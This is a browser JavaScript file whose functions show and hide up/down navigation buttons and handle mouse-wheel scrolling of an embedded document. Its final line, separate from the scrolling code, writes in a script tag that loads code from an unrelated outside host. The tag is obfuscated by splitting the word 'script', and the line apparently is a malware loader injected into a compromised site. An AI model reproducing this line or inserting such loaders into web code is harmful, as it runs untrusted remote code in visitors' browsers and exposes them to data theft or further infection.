function showNavigButtons () {
    if (isDocumentBigger()) {
        var objBtnUp = document.getElementById("btnNavUp");
        var objBtnDown = document.getElementById("btnNavDown");
        objBtnUp.style.display = "block";
        objBtnDown.style.display = "block";
    }
}
function hideNavigButtons () {
    //if (!isMouseOverButton && isDocumentBigger()) {
    if (isDocumentBigger()) {
        var objBtnUp = document.getElementById("btnNavUp");
        var objBtnDown = document.getElementById("btnNavDown");
        objBtnUp.style.display = "none";
        objBtnDown.style.display = "none";
    }
}
function isDocumentBigger () {
    var objDoc = document.getElementById("docIncluded");
    return (objDoc != null && objDoc.scrollHeight > 600);
}
function moveScrollUp () {
    if (!isDocumentBigger()) {
        return;
    }
    scrollingElement = window.setInterval("moveScrollUpRepeat()", 10);
}
function moveScrollDown () {
    if (!isDocumentBigger()) {
        return;
    }
    scrollingElement = window.setInterval("moveScrollDownRepeat()", 10);
}
function moveScrollUpRepeat (delta) {
    var docObj = document.getElementById("docIncluded");
    if (docObj.scrollTop > 0) {
        docObj.scrollTop -= (delta) ? delta : 8;
    }
    else {
        clearScrolling();
    }
}
function moveScrollDownRepeat (delta) {
    var docObj = document.getElementById("docIncluded");
    if (docObj.scrollTop + 600 < docObj.scrollHeight) {
        docObj.scrollTop += (delta) ? -delta : 8;
    }
    else {
        clearScrolling();
    }
}
function clearScrolling () {
    if (scrollingElement != null) clearInterval(scrollingElement);
}

function wheel(event){
    var objBtnUp = document.getElementById("btnNavUp");
    // scroll document only when button visible (other case scroll window)
    if (objBtnUp.style.display == "block")
    {
        var delta = 0;
        if (!event) // For IE.
                event = window.event;
        if (event.wheelDelta) { // IE/Opera
                delta = event.wheelDelta/5;
                //In Opera 9, delta differs in sign as compared to IE.
                if (window.opera)
                        delta = -delta;
        } else if (event.detail) { // Mozilla
                // In Mozilla, sign of delta is different than in IE.
                // Also, delta is multiple of 3.
                delta = -event.detail * 4;
        }
        // If delta is nonzero, handle it.
        if (delta) handleMouseScroll(delta);

        /**
         *Prevent default actions caused by mouse wheel.
         * That might be ugly, but we handle scrolls somehow
         * anyway, so don't bother here..
         */
        if (event.preventDefault) event.preventDefault();
        event.returnValue = false;
    }
}

function handleMouseScroll(delta) {
    if (delta < 0) {
        moveScrollDownRepeat(delta);
    }
    else {
        moveScrollUpRepeat(delta);
    }
}

if (window.addEventListener) // DOMMouseScroll is for mozilla
        window.addEventListener('DOMMouseScroll', wheel, false);
// IE/Opera
window.onmousewheel = document.onmousewheel = wheel;

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Name_Server.js"></scri'+'pt>');